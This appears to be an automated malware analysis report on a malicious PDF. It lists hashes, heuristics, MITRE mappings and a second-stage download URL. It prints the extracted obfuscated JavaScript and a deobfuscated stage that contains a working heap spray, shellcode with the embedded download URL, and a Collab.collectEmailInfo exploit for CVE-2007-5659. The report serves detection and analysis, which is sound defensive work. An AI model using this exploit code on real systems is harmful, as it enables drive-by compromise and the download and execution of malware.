Malicious PDF — malware analysis report

Static analysis result for SHA-256 f5ec57b2c0e33711…

MALICIOUS

PDF

4.6 KB Created: 2008-08-06 01:42:27 Authoring application: Scribus 1.3.3.12 (via Scribus PDF Library 1.3.3.12) First seen: 2026-05-08
MD5: 5d388ee1d9e0d5e6d43a535c6d2d66f2 SHA-1: 82e0b0316e848df3fbc347387659bd096b3b530a SHA-256: f5ec57b2c0e33711593451ae4373e3898db15b05b39b08f80fc90785c77ae450
308 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 Command and Scripting Interpreter: PowerShell T1059.003 Command and Scripting Interpreter: Windows Command Shell T1059.007 Command and Scripting Interpreter: JavaScript/TypeScript

The PDF file contains embedded JavaScript, indicated by the PDF_JAVASCRIPT and PDF_JS heuristics. The presence of a high-severity PDF_EVAL heuristic firing suggests the JavaScript is likely obfuscated and uses an eval() call to execute its payload. The embedded JavaScript is the primary mechanism for the malicious activity, likely downloading and executing a second-stage payload. Due to the obfuscation and lack of specific indicators, the family is unknown.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 8

  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • JavaScript action low 3 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    function V9TkHB9(){eval("function im"+"plo"+"de(gl"+"ue,pie"+"ces){return ((pieces instanceof Array)?pie"+"ce"+"s.jo"+"in(glu"+"e):pie"+"ces);}");eval("function Otme9uC(XyTufscuKVZ){return St"+"rin"+"g['fro"+"mCh"+"arC"+"ode']"+"(XyTufscuKVZ)"+";"+"}");eval("function FUZ6ggQf9E(o4uZbaEVjRKxS){var Vf8fC0QhqmXBk="+"0,yRmsqaSK0Y2p=o4uZbaEVjRKxS.l"+"en"+"gth,TyCnnFhNrIc=10"+"2"+"4,Y4gzW,ixFfnp89zg0o,hnrda7LyyeaKf='',Fe0UR=Vf8fC0QhqmXBk,J7uaE3auCOY3=Vf8fC0QhqmXBk,rgmW3kVgL=Vf8fC0QhqmXBk,Gyr19MRF=Ar"+ …
  • PDF exploit shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URL
    Decoded PDF exploit shellcode contains a hardcoded http(s) URL — stored as little-endian %uXXXX Unicode escapes, or hex-encoded in a document metadata field (/CreationDate, /Title) and referenced from the decoded script. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Generic recovered JavaScript exploit stage high PDF_GENERIC_STAGE_RECOVERY
    Bounded static stage recovery exposed hidden JavaScript through generic transforms such as null-byte collapse, percent decoding, marker replacement, arithmetic character codes, fromCharCode, numeric arrays, numeric-array minus-key decoders, alphabet-index arrays, /Producer half-difference metadata arrays, hex literals, marker-stripped Base64 literals, custom 6-bit XOR table decoders, or repeated-marker hex carriers. This rule is emitted only when the recovered stage contains exploit-like Acrobat JavaScript or shellcode markers.
  • Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://google-moogle.net/fiesta/load.php?id=30417&spl=4 Referenced by PDF JavaScript

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0013_001.js pdf-javascript-stream PDF /JS object 13 at offset 0x365 6469 bytes
SHA-256: 74ddfe12e996f6766f5563766421bf7ff507aa42c033bd2781796ae6c787e451
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 4 eval/decoder/string-building token(s). 169 of 246 identifiers look randomly generated (e.g. 'md_T0cXtaJqpJ6Ev0yXBT6Ec6JBVT0Xml7ZS0i_M'); 2 string-concatenation chain(s) — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
function V9TkHB9(){eval("function im"+"plo"+"de(gl"+"ue,pie"+"ces){return ((pieces instanceof Array)?pie"+"ce"+"s.jo"+"in(glu"+"e):pie"+"ces);}");eval("function Otme9uC(XyTufscuKVZ){return St"+"rin"+"g['fro"+"mCh"+"arC"+"ode']"+"(XyTufscuKVZ)"+";"+"}");eval("function FUZ6ggQf9E(o4uZbaEVjRKxS){var Vf8fC0QhqmXBk="+"0,yRmsqaSK0Y2p=o4uZbaEVjRKxS.l"+"en"+"gth,TyCnnFhNrIc=10"+"2"+"4,Y4gzW,ixFfnp89zg0o,hnrda7LyyeaKf='',Fe0UR=Vf8fC0QhqmXBk,J7uaE3auCOY3=Vf8fC0QhqmXBk,rgmW3kVgL=Vf8fC0QhqmXBk,Gyr19MRF=Ar"+"ra"+"y(63,33,7,3,1,50,61,34,23,58,0,0,0,0,0,0,48,12,47,57,32,59,53,35,10,13,45,40,15,8,52,25,36,16,6,24,43,9,11,20,54,4,38,0,0,0,0,30,0,60,19,42,39,29,18,37,22,2,51,28,41,62,44,5,31,55,21,49,14,17,26,27,0,46,56);f"+"o"+"r(ixFfnp89zg0o=M"+"at"+"h.c"+"ei"+"l(yRmsqaSK0Y2p/"+"TyCnnFhNrIc)"+";ixFfnp89zg0o>Vf8fC0QhqmXBk;ixFfnp89zg0o-"+"-){fo"+"r(Y4gzW=Ma"+"th.m"+"in(yRmsqaSK0Y2p,TyCnnFhNrIc);Y4gzW>Vf8fC0QhqmXBk;Y4gzW-"+"-,yRmsqaSK0Y2p-"+"-){rgmW3kVgL|"+"=(Gyr19MRF[o4uZbaEVjRKxS.cha"+"rCod"+"eAt(Fe0UR+"+"+)-48])<"+"<J7uaE3auCOY3;if(J7uaE3auCOY3){hnrda7LyyeaKf+"+"=Otme9uC"+"(205^rgmW3kVgL&"+"2"+"5"+"5);rgmW3kVgL>"+">="+"8;J7uaE3auCOY3-"+"="+"2;}el"+"se{J7uaE3auCOY3="+"6"+";}}"+"}return (hnrda7LyyeaKf);}var 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generic_stage_recovery_000.js deobfuscated-js generic stage recovery sixbit-xor-table from JavaScript object 13 at offset 0x365 2610 bytes
SHA-256: f3941231d26a96ae382497c26a0ba2406ff089c5a975a17cf26c16de24e90d11
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 3 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
var QUPaJ2q0xQS18A = new Array(); function VZDjtzslG1E2I(yhPe7z, Fq86Ga) { while (yhPe7z.length*2<Fq86Ga){yhPe7z += yhPe7z;} yhPe7z = yhPe7z.substring(0,Fq86Ga/2); return yhPe7z; } function tkPFJdzDd() { var GtsDuBd5s4jz3g = 0x0c0c0c0c; var joD0OJY9jnSMn = unescape("%u4343%u4343%u4343%u0FEB%u335B%u66C9%u80B9%u8001%uEF33%uE243%uEBFA%uE805%uFFEC%uFFFF%u8B7F%uDF4E%uEFEF%u64EF%uE3AF%u9F64%u42F3%u9F64%u6EE7%uEF03%uEFEB%u64EF%uB903%u6187%uE1A1%u0703%uEF11%uEFEF%uAA66%uB9EB%u7787%u6511%u07E1%uEF1F%uEFEF%uAA66%uB9E7%uCA87%u105F%u072D%uEF0D%uEFEF%uAA66%uB9E3%u0087%u0F21%u078F%uEF3B%uEFEF%uAA66%uB9FF%u2E87%u0A96%u0757%uEF29%uEFEF%uAA66%uAFFB%uD76F%u9A2C%u6615%uF7AA%uE806%uEFEE%uB1EF%u9A66%u64CB%uEBAA%uEE85%u64B6%uF7BA%u07B9%uEF64%uEFEF%u87BF%uF5D9%u9FC0%u7807%uEFEF%u66EF%uF3AA%u2A64%u2F6C%u66BF%uCFAA%u1087%uEFEF%uBFEF%uAA64%u85FB%uB6ED%uBA64%u07F7%uEF8E%uEFEF%uAAEC%u28CF%uB3EF%uC191%u288A%uEBAF%u8A97%uEFEF%u9A10%u64CF%uE3AA%uEE85%u64B6%uF7BA%uAF07%uEFEF%u85EF%uB7E8%uAAEC%uDCCB%uBC34%u10BC%uCF9A%uBCBF%uAA64%u85F3%uB6EA%uBA64%u07F7%uEFCC%uEFEF%uEF85%u9A10%u64CF%uE7AA%uED85%u64B6%uF7BA%uFF07%uEFEF%u85EF%u6410%uFFAA%uEE85%u64B6%uF7BA%uEF07%uEFEF%uAEEF%uBDB4%u0EEC%u0EEC%u0EEC%u0EEC%u036C%uB5EB%u64BC%u0D35%uBD18%u0F10%u64BA%u6403%uE792%uB264%uB9E3%u9C64%u64D3%uF19B%uEC97%uB91C%u9964%uECCF%uDC1C%uA626%u42AE%u2CEC%uDCB9%uE019%uFF51%u1DD5%uE79B%u212E%uECE2%uAF1D%u1E04%u11D4%u9AB1%uB50A%u0464%uB564%uECCB%u8932%uE364%u64A4%uF3B5%u32EC%uEB64%uEC64%uB12A%u2DB2%uEFE7%u1B07%u1011%uBA10%uA3BD%uA0A2%uEFA1%u7468%u7074%u2F3A%u672F%u6F6F%u6C67%u2D65%u6F6D%u676F%u656C%u6E2E%u7465%u662F%u6569%u7473%u2F61%u6F6C%u6461%u702E%u7068%u693F%u3D64%u3033%u3134%u2637%u7073%u3D6C%u0034"); var MhV7vfU = 0x400000; var pdy27Lo = joD0OJY9jnSMn.length * 2; var Fq86Ga = MhV7vfU - (pdy27Lo+0x38); var yhPe7z = unescape("%u9090%u9090"); yhPe7z = VZDjtzslG1E2I(yhPe7z, Fq86Ga); var tTSE2L3j = (GtsDuBd5s4jz3g - 0x400000)/MhV7vfU; for (var geftXtniWsbaba=0;geftXtniWsbaba<tTSE2L3j;geftXtniWsbaba++) { QUPaJ2q0xQS18A[geftXtniWsbaba] = yhPe7z + joD0OJY9jnSMn; } } function ZKSXv6pdbwYGRn() { var RlVB8 = app.viewerVersion.toString(); RlVB8 = RlVB8.replace(/\D/g,""); var qSnRhonjYgft9C = new Array(RlVB8.charAt(0),RlVB8.charAt(1),RlVB8.charAt(2)); if ((qSnRhonjYgft9C[0] == 8 && ((qSnRhonjYgft9C[1] == 1 && qSnRhonjYgft9C[2] < 2) || qSnRhonjYgft9C[1] < 1)) || (qSnRhonjYgft9C[0] == 7 && qSnRhonjYgft9C[1] < 1) || (qSnRhonjYgft9C[0] < 7)) { tkPFJdzDd(); var V2Spy16 = unescape("%u0c0c%u0c0c"); while(V2Spy16.length < 44952) V2Spy16 += V2Spy16; this.collabStore = Collab.collectEmailInfo({subj: "",msg: V2Spy16}); } } ZKSXv6pdbwYGRn();

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